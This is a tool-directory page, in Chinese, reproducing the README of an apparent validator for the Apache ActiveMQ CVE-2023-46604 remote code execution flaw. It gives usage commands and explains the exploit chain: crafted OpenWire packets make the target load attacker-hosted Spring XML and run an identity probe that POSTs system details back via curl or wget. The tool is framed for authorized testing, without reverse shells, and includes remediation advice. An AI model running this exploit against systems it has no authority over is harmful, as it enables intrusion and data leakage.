Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ActiveMQ-CVE-2023-46604 — Apache ActiveMQ CVE-2023-46604 的非破坏性验证器。发送精心构造的 OpenWire 数据包,利用 HTTP 回调服务器确认 RCE 或 XML 加载,并为授权渗透测试生成 CSV/JSON 证据。 | Kitploit
工具/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Apache ActiveMQ CVE-2023-46604 的非破坏性验证器。发送精心构造的 OpenWire 数据包,利用 HTTP 回调服务器确认 RCE 或 XML 加载,并为授权渗透测试生成 CSV/JSON 证据。

查看仓库
112小时53分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-46604 ActiveMQ 安全验证器

一个单文件、非破坏性的 Apache ActiveMQ CVE-2023-46604 验证器。它会启动自己的 HTTP 回调服务器,在内存中生成针对目标的 Spring XML,发送精心构造的 OpenWire 数据包,将回调与唯一令牌关联,并写入 CSV/JSON 证据。

该项目专为授权渗透测试和资产清单验证而设计。它刻意不实现反向 Shell、无限制命令执行、CIDR 扩展、持久化或载荷暂存。

验证器能证明什么

提供两种固定的验证模式:

  • rce 执行一个固定的、只读的身份探测命令,并将其输出返回给内置 HTTP 服务器。回调可确认在 ActiveMQ 服务上下文中执行了操作系统命令。
  • xml 提供一个空的 Spring 上下文。获取行为可确认精心构造的 OpenWire 消息导致目标实例化了 ClassPathXmlApplicationContext 并检索了攻击者控制的 XML,而无需启动进程。

无需单独创建或托管任何 XML 文件。

功能特性

  • 单个 Python 文件;仅使用标准库
  • 内置多线程 HTTP 服务器
  • 动态的、针对每个目标的 XML 和回调令牌
  • 明确的单目标和多目标输入
  • 有界并发和发送重试
  • 支持纯 OpenWire 和 TLS 包装的 OpenWire
  • 固定的 Linux 和 Windows 身份探测命令
  • 默认输出 CSV 证据,可选 JSON
  • 准确的结果状态,避免虚假的"未漏洞"声明
  • 支持 CI 友好的 --fail-on-vuln 退出码

环境要求

  • Python 3.9 或更高版本
  • 测试主机到目标 OpenWire 监听器的网络访问
  • 目标到内置 HTTP 回调地址的网络访问
  • 对每个目标的明确授权
  • 默认 OpenWire 端口为 61616,但也支持非默认端口。

    快速开始

    示例中使用仅用于文档的地址;请将其替换为您已授权的资产。

    单个 Linux 目标

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.10:61616 \
      --callback-host 192.0.2.50
    

    脚本会自动在 TCP/8000 上启动回调服务器,提供生成的 XML,发送 OpenWire 数据包,等待证据,打印结果表,并写入:

    root@kitploit:~
    activemq-cve-2023-46604-results.csv
    

    多个明确目标

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target mq01.example.test:61616 \
      --target mq02.example.test:61616 \
      --target tcp://192.0.2.23:61500 \
      --callback-host 192.0.2.50 \
      --workers 4 \
      --json-output results.json
    

    目标文件

    创建 targets.txt:

    root@kitploit:~
    # 每行一个明确授权的主机
    mq01.example.test:61616
    192.0.2.21:61616
    tcp://192.0.2.22:61500
    ssl://mq-secure.example.test:61617
    

    运行:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --http-port 8000 \
      --platform linux \
      --proof rce \
      --workers 8 \
      --wait 15 \
      --output findings.csv \
      --json-output findings.json
    

    目标文件可以包含空行和以 # 开头的注释。刻意不支持 CIDR 扩展;请明确枚举已授权的资产清单。

    自动回调地址检测

    对于简单的路由网络,可省略 --callback-host:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.10:61616
    

    该工具会选择用于向第一个目标路由的本地源地址。在通过 NAT、VPN、容器、跳板机或多宿主系统进行测试时,请指定 --callback-host。

    Windows 托管的 ActiveMQ

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.30:61616 \
      --callback-host 192.0.2.50 \
      --platform windows \
      --proof rce
    

    Windows 探测命令使用一个固定的、非交互式 PowerShell 命令来返回服务身份、计算机名和操作系统版本。它不提供交互式 Shell。

    仅 XML 加载验证

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --proof xml
    

    此模式不会实例化 ProcessBuilder。

    TLS 包装的 OpenWire

    使用 ssl:// 目标:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target ssl://mq-secure.example.test:61617 \
      --callback-host 192.0.2.50
    

    对于具有不受信任证书的内部监听器:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target ssl://mq-secure.example.test:61617 \
      --callback-host 192.0.2.50 \
      --tls-no-verify
    

    --tls-no-verify 仅影响 OpenWire TLS 连接。回调服务器使用 HTTP。

    结果状态

    状态含义
    CONFIRMED_VULNERABLE_RCE目标获取了其 XML,且固定身份命令返回了证据。
    CONFIRMED_VULNERABLE_XML_LOAD在 xml 模式下,目标获取了唯一的 XML 文档。
    VULNERABLE_XML_LOAD_ONLY在 rce 模式下,发生了 XML 检索但命令回调未发生。已确认易受攻击的类实例化路径;回调工具、出口流量或进程执行可能受到限制。
    NOT_CONFIRMED数据包已发送,但在截止时间前未收到关联的 HTTP 证据。这不能证明主机已修补。
    UNREACHABLETCP/TLS 连接或数据包发送失败。

    已修补的代理、错误的端口、出口过滤、路由问题、TLS 不匹配和端点控制都可能影响基于回调的验证。请保留 CSV/JSON 时间戳和回调输出作为报告证据。

    固定身份证据

    Linux 身份探测命令返回的输出类似于:

    root@kitploit:~
    CVE-2023-46604 RCE CONFIRMED
    uid=997(activemq) gid=997(activemq) groups=997(activemq)
    user=activemq
    host=mq01
    os=Linux 5.15.0-...
    

    它会尝试使用 curl、wget 和 BusyBox wget 进行 HTTP POST。如果 XML 被获取但这些客户端均不可用,则结果为 VULNERABLE_XML_LOAD_ONLY 而非假阴性。

    退出码

    • 0:验证完成,或发现漏洞但未使用 --fail-on-vuln
    • 2:发现至少一个漏洞结果且提供了 --fail-on-vuln
    • argparse 错误使用正常的非零命令行错误码

    CI 使用示例:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --fail-on-vuln
    

    工作原理

    CVE-2023-46604 影响 Java OpenWire 反序列化。验证器发送一个松散编组的 OpenWire ExceptionResponse,其异常类为:

    root@kitploit:~
    org.springframework.context.support.ClassPathXmlApplicationContext
    

    异常消息是生成的 Spring XML 的唯一 URL。易受攻击的 ActiveMQ 代码会使用该 URL 实例化攻击者选择的类。在 rce 模式下,Spring 上下文启动一个固定的 ProcessBuilder 探测命令;在 xml 模式下,上下文为空。

    每个目标都会收到不同的令牌,例如:

    root@kitploit:~
    http://192.0.2.50:8000/poc/<unique-token>.xml
    http://192.0.2.50:8000/cb/<same-token>
    

    这使得并发回调可以归因于正确的目标。

    命令参考

    root@kitploit:~
    --authorized                 必需的授权确认
    -t, --target VALUE           明确目标;可重复
    -T, --targets-file FILE      每行一个明确目标;可重复
    --default-port PORT          默认 61616
    --tls                        对所有目标使用 TLS
    --tls-no-verify              禁用 OpenWire TLS 证书验证
    --callback-host HOST         目标用于 HTTP 回调的地址
    --bind-host HOST             本地 HTTP 绑定地址;默认 0.0.0.0
    --http-port PORT             本地 HTTP 端口;默认 8000;0 选择空闲端口
    --proof rce|xml              固定验证模式;默认 rce
    --platform linux|windows     RCE 模式的目标操作系统;默认 linux
    --workers N                  并行工作线程;最大 32
    --connect-timeout SECONDS    TCP/TLS 超时
    --wait SECONDS               回调收集窗口
    --retries N                  数据包发送尝试次数,1 到 3 次
    --retry-delay SECONDS        尝试之间的延迟
    -o, --output FILE            CSV 证据输出位置
    --json-output FILE           可选的 JSON 输出位置
    --verbose                    显示 HTTP 请求日志
    --fail-on-vuln               发现漏洞结果时退出码为 2
    

    测试

    root@kitploit:~
    python3 -m unittest discover -s tests -v
    

    测试验证目标解析、CIDR 拒绝、XML 格式正确性以及 OpenWire 帧结构,无需联系任何目标。

    修复建议

    将 ActiveMQ 升级到已修复且当前受支持的版本。Apache 公告将当时当前分支的修复版本确定为 ActiveMQ 5.15.16、5.16.7、5.17.6、5.18.3 和 6.0.0,以及 Artemis 2.31.2。同时将 OpenWire 监听器限制为受信任的客户端,并监控意外的出站 XML 检索。

    安全性与范围

    本仓库用于防御性验证和授权安全评估。它刻意省略了:

    • 反向 Shell 载荷
    • 任意 --command 执行
    • 可执行文件或脚本暂存
    • 持久化
    • 认证攻击
    • CIDR/范围扩展

    固定身份探测命令足以证明远程命令执行和服务账户影响,而无需建立交互式访问。

    参考链接

    • Apache ActiveMQ:https://activemq.apache.org/news/cve-2023-46604
    • Apache ActiveMQ 安全公告:https://activemq.apache.org/components/classic/security
    • Apache ActiveMQ 源码:https://github.com/apache/activemq
    • Vulhub 实验环境:https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

    许可证

    MIT。参见 LICENSE。

    下载工具